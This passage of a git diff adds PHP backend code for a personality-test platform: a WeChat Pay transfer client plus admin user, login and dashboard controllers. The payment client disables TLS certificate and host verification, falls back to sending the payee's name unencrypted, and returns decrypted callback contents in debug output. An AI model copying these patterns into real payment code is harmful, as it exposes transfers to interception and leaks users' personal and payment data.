'transfer_scene_report_infos' => $params['transfer_scene_report_infos'] ?? [], + ]; + + // 可选参数 + if (isset($params['user_name']) && !empty($params['user_name'])) { + // 需要加密 + $body['user_name'] = $this->encryptSensitiveData($params['user_name']); + } + + if (isset($params['notify_url']) && !empty($params['notify_url'])) { + $body['notify_url'] = $params['notify_url']; + } + + // user_recv_perception 暂不传,避免 INVALID_REQUEST:“暂不支持展示当前传入的用户收款感知” + + $result = $this->request('POST', $url, $body); + + return $result; + } + + /** + * 查询转账单(通过商户单号) + * @param string $outBillNo 商户单号 + * @return array + */ + public function queryByOutBillNo($outBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/' . $outBillNo; + return $this->request('GET', $url); + } + + /** + * 查询转账单(通过微信单号) + * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716457 + * @param string $transferBillNo 微信转账单号 + * @return array + */ + public function queryByTransferBillNo($transferBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/' . $transferBillNo; + return $this->request('GET', $url); + } + + /** + * 撤销转账 + * @param string $transferBillNo 微信转账单号 + * @return array + */ + public function cancelTransfer($transferBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/' . $transferBillNo . '/cancel'; + return $this->request('POST', $url); + } + + /** + * 发送HTTP请求 + * @param string $method 请求方法 + * @param string $url 请求URL + * @param array $body 请求体(POST时使用) + * @return array + */ + private function request($method, $url, $body = []) + { + $timestamp = time(); + $nonce = $this->generateNonce(); + $bodyStr = !empty($body) ? json_encode($body, JSON_UNESCAPED_UNICODE) : ''; + + // 构建签名 + $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $bodyStr); + + // 构建请求头 + $headers = [ + 'Content-Type: application/json', + 'Accept: application/json', + 'User-Agent: WechatPay-APIv3-PHP', + 'Authorization: ' . $this->buildAuthorization($method, $url, $timestamp, $nonce, $bodyStr), + ]; + + // 如果有证书序列号,添加到请求头 + if (!empty($this->certSerialNo)) { + $headers[] = 'Wechatpay-Serial: ' . $this->certSerialNo; + } + + // 发送请求 + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + + if ($method === 'POST') { + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); + } + + $response = curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + $error = curl_error($ch); + curl_close($ch); + + if ($error) { + // 尝试写入日志,但不影响错误返回 + try { + Log::error('微信支付请求失败: ' . $error); + } catch (\Exception $e) { + // 日志写入失败不影响错误返回 + } + return ['success' => false, 'error' => ['code' => 'CURL_ERROR', 'message' => $error]]; + } + + $result = json_decode($response, true); + + if ($httpCode === 200) { + return ['success' => true, 'data' => $result]; + } else { + // 尝试写入日志,但不影响错误返回 + try { + Log::error('微信支付API错误: HTTP ' . $httpCode . ', Response: ' . $response); + } catch (\Exception $e) { + // 日志写入失败不影响错误返回 + } + return ['success' => false, 'http_code' => $httpCode, 'error' => $result]; + } + } + + /** + * 构建签名 + * @param string $method 请求方法 + * @param string $url 请求URL(不包含域名) + * @param int $timestamp 时间戳 + * @param string $nonce 随机字符串 + * @param string $body 请求体 + * @return string + */ + private function buildSignature($method, $url, $timestamp, $nonce, $body) + { + $urlParts = parse_url($url); + $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); + + $message = $method . "\n" . + $urlPath . "\n" . + $timestamp . "\n" . + $nonce . "\n" . + $body . "\n"; + + openssl_sign($message, $signature, $this->privateKey, OPENSSL_ALGO_SHA256); + return base64_encode($signature); + } + + /** + * 构建Authorization头 + * @param string $method + * @param string $url + * @param int $timestamp + * @param string $nonce + * @param string $body + * @return string + */ + private function buildAuthorization($method, $url, $timestamp, $nonce, $body) + { + $urlParts = parse_url($url); + $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); + + $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $body); + + // 获取证书序列号(从私钥中提取,这里简化处理,实际应该从证书中获取) + $serialNo = $this->certSerialNo ?: 'YOUR_CERT_SERIAL_NO'; + + return sprintf( + 'WECHATPAY2-SHA256-RSA2048 mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', + $this->mchId, + $nonce, + $timestamp, + $serialNo, + $signature + ); + } + + /** + * 加密敏感信息(使用微信支付公钥加密) + * @param string $data 待加密数据 + * @return string base64编码的加密数据 + */ + private function encryptSensitiveData($data) + { + // 注意:这里需要使用微信支付平台证书公钥加密 + // 简化实现,实际应该使用微信支付平台证书 + if (empty($this->publicKey)) { + // 如果没有配置公钥,返回原数据(实际生产环境必须加密) + Log::warning('未配置微信支付公钥,敏感数据未加密'); + return $data; + } + + $encrypted = ''; + if (openssl_public_encrypt($data, $encrypted, $this->publicKey, OPENSSL_PKCS1_OAEP_PADDING)) { + return base64_encode($encrypted); + } + + Log::error('敏感数据加密失败'); + return $data; + } + + /** + * 生成随机字符串 + * @param int $length 长度 + * @return string + */ + private function generateNonce($length = 32) + { + return bin2hex(random_bytes($length / 2)); + } + + /** + * 验证回调签名 + * @param array $headers 请求头 + * @param string $body 请求体 + * @return bool + */ + public function verifyCallback($headers, $body) + { + if (empty($this->publicKey)) { + // 不记录日志,避免日志错误 + return false; + } + + // 从请求头中提取签名信息(注意:HTTP头中的下划线会被转换为中划线) + $signature = $headers['Wechatpay-Signature'] ?? $headers['wechatpay-signature'] ?? ''; + $timestamp = $headers['Wechatpay-Timestamp'] ?? $headers['wechatpay-timestamp'] ?? ''; + $nonce = $headers['Wechatpay-Nonce'] ?? $headers['wechatpay-nonce'] ?? ''; + $serial = $headers['Wechatpay-Serial'] ?? $headers['wechatpay-serial'] ?? ''; + + if (empty($signature) || empty($timestamp) || empty($nonce) || empty($serial)) { + // 不记录日志,避免日志错误 + return false; + } + + // 构建验证消息(按照微信支付文档格式) + $message = $timestamp . "\n" . $nonce . "\n" . $body . "\n"; + + // 验证签名 + $signatureData = base64_decode($signature); + $result = openssl_verify($message, $signatureData, $this->publicKey, OPENSSL_ALGO_SHA256); + + if ($result === 1) { + return true; + } else { + // 不记录日志,避免日志错误 + return false; + } + } + + /** + * 解密回调通知中的resource数据 + * @param array $resource 回调通知中的resource对象 + * @return array|null 解密后的数据,失败返回null + */ + /** + * 解密回调报文(按照官方文档实现) + * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012071382 + * + * @param array $resource 加密的资源对象 + * @return array|null 解密后的数据 + */ + public function decryptCallbackResource($resource) + { + // 调试信息 + $debug = []; + $debug['step'] = '1.检查输入参数'; + + // 1. 检查必要参数 + if (empty($resource['ciphertext']) || empty($resource['nonce']) || !isset($resource['associated_data'])) { + $debug['error'] = '缺少必要参数'; + $debug['has_ciphertext'] = !empty($resource['ciphertext']); + $debug['has_nonce'] = !empty($resource['nonce']); + $debug['has_associated_data'] = isset($resource['associated_data']); + return ['_debug' => $debug, 'result' => null]; + } + + // 2. 检查加密算法 + $algorithm = $resource['algorithm'] ?? ''; + $debug['step'] = '2.检查加密算法'; + $debug['algorithm'] = $algorithm; + + if ($algorithm !== 'AEAD_AES_256_GCM') { + $debug['error'] = '不支持的加密算法'; + return ['_debug' => $debug, 'result' => null]; + } + + // 3. 检查APIv3密钥长度(必须是32字节) + $debug['step'] = '3.检查APIv3密钥'; + $debug['api_v3_key_length'] = strlen($this->apiV3Key); + + if (strlen($this->apiV3Key) !== 32) { + $debug['error'] = 'APIv3密钥长度必须为32字节'; + return ['_debug' => $debug, 'result' => null]; + } + + // 4. 准备解密参数(按照官方文档) + $debug['step'] = '4.准备解密参数'; + + // Base64解码密文 + $ciphertext = base64_decode($resource['ciphertext']); + $nonce = $resource['nonce']; + $associatedData = $resource['associated_data']; + + $debug['ciphertext_base64_length'] = strlen($resource['ciphertext']); + $debug['ciphertext_decoded_length'] = strlen($ciphertext); + $debug['nonce'] = $nonce; + $debug['nonce_length'] = strlen($nonce); + $debug['associated_data'] = $associatedData; + + // 5. 检查密文长度(必须大于认证标签长度16字节) + $AUTH_TAG_LENGTH = 16; + if (strlen($ciphertext) <= $AUTH_TAG_LENGTH) { + $debug['error'] = '密文长度不足,必须大于' . $AUTH_TAG_LENGTH . '字节'; + return ['_debug' => $debug, 'result' => null]; + } + + // 6. 分离密文和认证标签(按照官方文档) + $debug['step'] = '6.分离密文和认证标签'; + + // 密文主体(去掉最后16字节) + $ctext = substr($ciphertext, 0, -$AUTH_TAG_LENGTH); + // 认证标签(最后16字节) + $authTag = substr($ciphertext, -$AUTH_TAG_LENGTH); + + $debug['ctext_length'] = strlen($ctext); + $debug['authTag_length'] = strlen($authTag); + + // 7. 使用OpenSSL解密(按照官方文档) + $debug['step'] = '7.OpenSSL解密'; + + // PHP >= 7.1 支持 AES-256-GCM + if (PHP_VERSION_ID < 70100) { + $debug['error'] = 'PHP版本必须 >= 7.1'; + $debug['php_version'] = PHP_VERSION; + return ['_debug' => $debug, 'result' => null]; + } + + if (!in_array('aes-256-gcm', openssl_get_cipher_methods())) { + $debug['error'] = 'OpenSSL不支持aes-256-gcm算法'; + return ['_debug' => $debug, 'result' => null]; + } + + // 执行解密(参数顺序按照官方文档) + $decrypted = openssl_decrypt( + $ctext, // 密文主体 + 'aes-256-gcm', // 加密算法 + $this->apiV3Key, // API v3密钥 + OPENSSL_RAW_DATA, // 原始数据 + $nonce, // 随机串 + $authTag, // 认证标签 + $associatedData // 附加数据 + ); + + $debug['step'] = '8.检查解密结果'; + $debug['decrypt_success'] = ($decrypted !== false); + + if ($decrypted === false) { + $debug['error'] = 'openssl_decrypt解密失败'; + $debug['openssl_error'] = openssl_error_string() ?: '无错误信息'; + return ['_debug' => $debug, 'result' => null]; + } + + $debug['decrypted_length'] = strlen($decrypted); + $debug['decrypted_preview'] = substr($decrypted, 0, 200); + + // 8. 解析JSON + $debug['step'] = '9.解析JSON'; + $data = json_decode($decrypted, true); + + if (json_last_error() !== JSON_ERROR_NONE) { + $debug['error'] = 'JSON解析失败'; + $debug['json_error'] = json_last_error_msg(); + $debug['decrypted_full'] = $decrypted; + return ['_debug' => $debug, 'result' => null]; + } + + $debug['success'] = true; + $debug['data_keys'] = array_keys($data); + + return ['_debug' => $debug, 'result' => $data]; + } +} diff --git a/api/app/controller/admin/AppUser.php b/api/app/controller/admin/AppUser.php new file mode 100644 index 0000000..6a36cc2 --- /dev/null +++ b/api/app/controller/admin/AppUser.php @@ -0,0 +1,358 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + + $where = []; + if ($keyword !== '') { + $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; + } + + // admin / enterprise_admin 均只能看本企业数据 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + // JWT 未含 enterpriseId 时回退查库(兼容旧 token) + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + // 若有企业ID:先从 user_profile 中取出属于本企业的 userId 列表(以画像为主表) + $profileUserIds = []; + if ($enterpriseId) { + $profileUserIds = Db::name('user_profile') + ->where('enterpriseId', $enterpriseId) + ->column('userId'); + $profileUserIds = $profileUserIds ? array_values(array_unique(array_filter($profileUserIds))) : []; + if (empty($profileUserIds)) { + return paginate_response([], 0, $page, $pageSize); + } + } + + // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 + try { + $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } catch (\Throwable $e) { + $dedupIds = Db::name('wechat_users')->column('id'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } + if (empty($dedupIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); + // 若从画像表中筛出了当前企业的用户池,则仅保留这些 userId + if (!empty($profileUserIds)) { + $baseQuery->whereIn('id', $profileUserIds); + } + if ($where) { + $baseQuery->where($where); + } + + $total = (int) $baseQuery->count(); + $list = (clone $baseQuery) + ->field('id,nickname,openid,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 为每条用户附加测试统计(test_results.userId 对应 wechat_users.id) + $ids = array_column($list, 'id'); + $testCounts = []; + $lastTestAt = []; + $testTypes = []; // 每个用户最新几条测试类型,用于展示 MBTI/PDP/DISC + $payStats = []; + $enterpriseName = null; + if ($enterpriseId) { + $ent = Db::name('enterprises')->where('id', $enterpriseId)->find(); + $enterpriseName = $ent['name'] ?? ('企业' . $enterpriseId); + } + if (!empty($ids)) { + // 测试统计严格按 test_results.enterpriseId 归属企业过滤 + $trBase = Db::name('test_results')->where('userId', 'in', $ids); + if ($enterpriseId) { + $trBase->where('enterpriseId', $enterpriseId); + } + $counts = (clone $trBase) + ->group('userId') + ->column('COUNT(*) as cnt', 'userId'); + $testCounts = $counts ?: []; + + $lastRows = (clone $trBase) + ->field('id, userId, testType, resultData, createdAt, enterpriseId as testEnterpriseId') + ->order('createdAt', 'desc') + ->select(); + foreach ($lastRows as $row) { + $uid = $row['userId']; + if (!isset($lastTestAt[$uid])) { + $lastTestAt[$uid] = $row['createdAt']; + } + if (!isset($testTypes[$uid])) { + $testTypes[$uid] = []; + } + $testTypes[$uid][] = [ + 'testType' => $row['testType'], + 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), + 'createdAt' => $row['createdAt'], + 'testScope' => !empty($row['testEnterpriseId']) ? 'enterprise' : 'personal', + ]; + } + // 付款统计:user_profile(按当前企业过滤) + try { + $profilesQuery = Db::name('user_profile') + ->where('userId', 'in', $ids); + if ($enterpriseId) { + $profilesQuery->where('enterpriseId', $enterpriseId); + } + $profiles = $profilesQuery + ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') + ->group('userId') + ->select() + ->toArray(); + foreach ($profiles as $p) { + $uid = (int) ($p['userId'] ?? 0); + if ($uid > 0) { + $payStats[$uid] = [ + 'paidOrders' => (int) ($p['paidOrders'] ?? 0), + 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), + ]; + } + } + } catch (\Throwable $e) { + $payStats = []; + } + } + + foreach ($list as &$row) { + $id = $row['id']; + $testsForUser = $testTypes[$id] ?? []; + $row['username'] = $row['nickname'] ?? ('用户' . $id); + $row['testCount'] = (int) ($testCounts[$id] ?? 0); + $row['lastTestAt'] = $lastTestAt[$id] ?? null; + $row['tests'] = $testsForUser; + $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); + $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); + $row['discType'] = $this->extractResultType($testsForUser, 'disc'); + $row['faceType'] = $this->extractResultType($testsForUser, 'face'); + $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); + $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); + $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); + $row['enterprise'] = $enterpriseName !== null ? $enterpriseName : '全部'; + $pay = $payStats[$id] ?? null; + $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; + $row['totalPaidAmount'] = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 测试用户详情:基本信息 + 测试记录列表 + * GET /api/v1/admin/app-users/:id + */ + public function detail($id) + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + // admin / enterprise_admin 均只能查看本企业的用户 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + if ($enterpriseId) { + // 使用 user_profile 判断该用户是否属于当前企业(以画像为主表) + $has = Db::name('user_profile') + ->where('userId', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + if (!$has) { + return error('无权限查看该用户', 403); + } + } + + $row = Db::name('wechat_users')->where('id', $id)->find(); + if (!$row) { + return error('用户不存在', 404); + } + + $data = [ + 'id' => (int) $row['id'], + 'username' => $row['nickname'] ?? ('用户' . $row['id']), + 'nickname' => $row['nickname'] ?? '', + 'avatar' => $row['avatar'] ?? '', + 'phone' => $row['phone'] ?? '', + 'email' => '', + 'gender' => (int) ($row['gender'] ?? 0), + 'country' => $row['country'] ?? '', + 'province' => $row['province'] ?? '', + 'city' => $row['city'] ?? '', + 'status' => (int) ($row['status'] ?? 1), + 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, + 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, + 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, + ]; + + // 测试列表:严格按 test_results.enterpriseId 归属本企业过滤 + $testQuery = Db::name('test_results')->where('userId', $id); + if ($enterpriseId) { + $testQuery->where('enterpriseId', $enterpriseId); + } + $tests = $testQuery + ->field('id, testType, resultData, enterpriseId as testEnterpriseId, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as &$t) { + $raw = $t['resultData'] ?? ''; + $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + $t['testScope'] = !empty($t['testEnterpriseId']) ? 'enterprise' : 'personal'; + unset($t['testEnterpriseId']); + } + + $data['testCount'] = count($tests); + $data['testList'] = $tests; + $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); + $data['pdpType'] = $this->extractResultType($tests, 'pdp'); + $data['discType'] = $this->extractResultType($tests, 'disc'); + $data['faceType'] = $this->extractResultType($tests, 'face'); + $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); + $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); + $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); + + return success($data); + } + + /** + * 从测试记录中取出某类型的最近结果(result 可能是 JSON 字符串,取 type 或 result 字段) + */ + private function extractResultType(array $tests, string $type): string + { + $targetType = strtolower($type); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== $targetType) { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + return $targetType === 'face' ? '人脸分析' : trim($result); + } + + if ($targetType === 'face') { + return '人脸分析'; + } + + if ($targetType === 'mbti') { + return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); + } + + if ($targetType === 'disc') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['disc'] ?? ''); + } + + if ($targetType === 'pdp') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['pdp'] ?? ''); + } + + return (string) ($dec['type'] ?? $dec['result'] ?? ''); + } + return ''; + } + + /** + * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 + */ + private function extractFaceSubType(array $tests, string $subType): string + { + $target = strtolower($subType); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== 'face') { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + continue; + } + + if ($target === 'mbti') { + if (!empty($dec['mbti']['type'])) { + return (string) $dec['mbti']['type']; + } + if (!empty($dec['mbtiType'])) { + return (string) $dec['mbtiType']; + } + } elseif ($target === 'disc') { + if (!empty($dec['disc']['primary'])) { + return (string) $dec['disc']['primary']; + } + if (!empty($dec['disc'])) { + return (string) $dec['disc']; + } + } elseif ($target === 'pdp') { + if (!empty($dec['pdp']['primary'])) { + return (string) $dec['pdp']['primary']; + } + if (!empty($dec['pdp'])) { + return (string) $dec['pdp']; + } + } + } + return ''; + } +} diff --git a/api/app/controller/admin/Auth.php b/api/app/controller/admin/Auth.php new file mode 100644 index 0000000..6f36a08 --- /dev/null +++ b/api/app/controller/admin/Auth.php @@ -0,0 +1,265 @@ +where('username', $username) + ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员登录 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'], + 'enterpriseId' => $user['enterpriseId'] ?? null + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 管理员登录(新路由:/api/v1/auth/admin/login) + * @return \think\response\Json + */ + public function adminLogin() + { + $username = Request::param('username', ''); + $password = Request::param('password', ''); + + if (empty($username) || empty($password)) { + return error('用户名和密码不能为空', 400); + } + + // 查找用户(使用原生查询获取密码字段) + $user = Db::name('users') + ->where('username', $username) + ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'], + 'enterpriseId' => $user['enterpriseId'] ?? null + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 超级管理员登录(新路由:/api/v1/auth/superadmin/login) + * @return \think\response\Json + */ + public function superAdminLogin() + { + $username = Request::param('username', ''); + $password = Request::param('password', ''); + + if (empty($username) || empty($password)) { + return error('用户名和密码不能为空', 400); + } + + // 查找用户(使用原生查询获取密码字段) + $user = Db::name('users') + ->where('username', $username) + ->where('role', 'superadmin') // 只允许超级管理员 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 获取当前登录管理员信息(需要认证) + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + $userModel = Db::name('users')->where('id', $user['userId'] ?? $user['user_id'] ?? null)->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + // 检查角色(必须是普通管理员或企业管理员,不包括超级管理员) + if (!in_array($userModel['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问后台', 403); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['userId'])) { + JwtService::deleteToken($user['userId']); + } elseif ($user && isset($user['user_id'])) { + JwtService::deleteToken($user['user_id']); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = JwtService::refreshToken($token); + + if (!$newToken) { + return error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expires_in' => config('jwt.expire') + ], '刷新成功'); + } +} + diff --git a/api/app/controller/admin/Dashboard.php b/api/app/controller/admin/Dashboard.php new file mode 100644 index 0000000..b8c81d9 --- /dev/null +++ b/api/app/controller/admin/Dashboard.php @@ -0,0 +1,179 @@ +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + // admin / enterprise_admin 均只统计本企业数据 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + // 企业用户 ID 集合(用于后续统计个人版测试) + $enterpriseUserIds = []; + if ($enterpriseId) { + $enterpriseUserIds = Db::name('wechat_users') + ->where('enterpriseId', $enterpriseId) + ->column('id'); + $enterpriseUserIds = array_values(array_filter($enterpriseUserIds)); + } + + // 总用户数:wechat_users.enterpriseId = 本企业 + if ($enterpriseId) { + $totalUsers = count($enterpriseUserIds); + } else { + try { + $totalUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalUsers = (int) Db::name('wechat_users')->count(); + } + } + + // 已完成测试数:严格按 test_results.enterpriseId 归属企业统计 + if ($enterpriseId) { + $testsCompleted = (int) Db::name('test_results') + ->where('enterpriseId', $enterpriseId) + ->count(); + } else { + $testsCompleted = (int) Db::name('test_results')->count(); + } + + // 今日活跃用户数 + $todayStart = strtotime(date('Y-m-d 00:00:00')); + $todayEnd = strtotime(date('Y-m-d 23:59:59')); + $activeQuery = Db::name('test_results') + ->where('createdAt', '>=', $todayStart) + ->where('createdAt', '<=', $todayEnd); + if ($enterpriseId) { + $activeQuery->where('enterpriseId', $enterpriseId); + $activeIds = $activeQuery->distinct(true)->column('userId'); + $activeToday = count(array_filter($activeIds)); + } else { + $activeIds = $activeQuery->distinct(true)->column('userId'); + $activeToday = count(array_filter($activeIds)); + } + + // 待审核(暂返回0) + $pendingReviews = 0; + + // 最近 14 天测试趋势 + $days = 14; + $startDate = strtotime(date('Y-m-d 00:00:00', strtotime('-' . ($days - 1) . ' days'))); + $trendQuery = Db::name('test_results') + ->where('createdAt', '>=', $startDate) + ->whereIn('testType', ['face', 'mbti', 'disc', 'pdp']); + if ($enterpriseId) { + $trendQuery->where('enterpriseId', $enterpriseId); + } + $trendRows = $trendQuery + ->field("FROM_UNIXTIME(createdAt, '%Y-%m-%d') as d, testType, COUNT(*) as c") + ->group('d,testType') + ->order('d', 'asc') + ->select() + ->toArray(); + + // 组装为按日期汇总的数组 + $trendMap = []; + foreach ($trendRows as $row) { + $d = $row['d']; + $type = $row['testType']; + $cnt = (int) ($row['c'] ?? 0); + if (!isset($trendMap[$d])) { + $trendMap[$d] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + if (in_array($type, ['face', 'mbti', 'disc', 'pdp'], true)) { + $trendMap[$d][$type] += $cnt; + $trendMap[$d]['total'] += $cnt; + } + } + + // 补齐没有数据的日期 + $trendData = []; + for ($i = 0; $i < $days; $i++) { + $d = date('Y-m-d', strtotime('-' . ($days - 1 - $i) . ' days')); + if (isset($trendMap[$d])) { + $trendData[] = $trendMap[$d]; + } else { + $trendData[] = [ + 'date' => $d, + 'face' => 0, + 'mbti' => 0, + 'disc' => 0, + 'pdp' => 0, + 'total' => 0, + ]; + } + } + + return success([ + 'totalUsers' => $totalUsers, + 'testsCompleted' => $testsCompleted, + 'activeToday' => $activeToday, + 'pendingReviews' => $pendingReviews, + 'testTrends' => $trendData, + ]); + } catch (\Exception $e) { + return error('获取统计数据失败:' . $e->getMessage(), 500); + } + } + + /** + * 格式化时间 + * @param int $timestamp + * @return string + */ + private function formatTime($timestamp) + { + if (!$timestamp) { + return ''; + } + + $now = time(); + $diff = $now - $timestamp; + + if ($diff < 60) { + return '刚刚'; + } elseif ($diff < 3600) { + return floor($diff / 60) . '分钟前'; + } elseif ($diff < 86400) { + return floor($diff / 3600) . '小时前'; + } elseif ($diff < 604800) { + return floor($diff / 86400) . 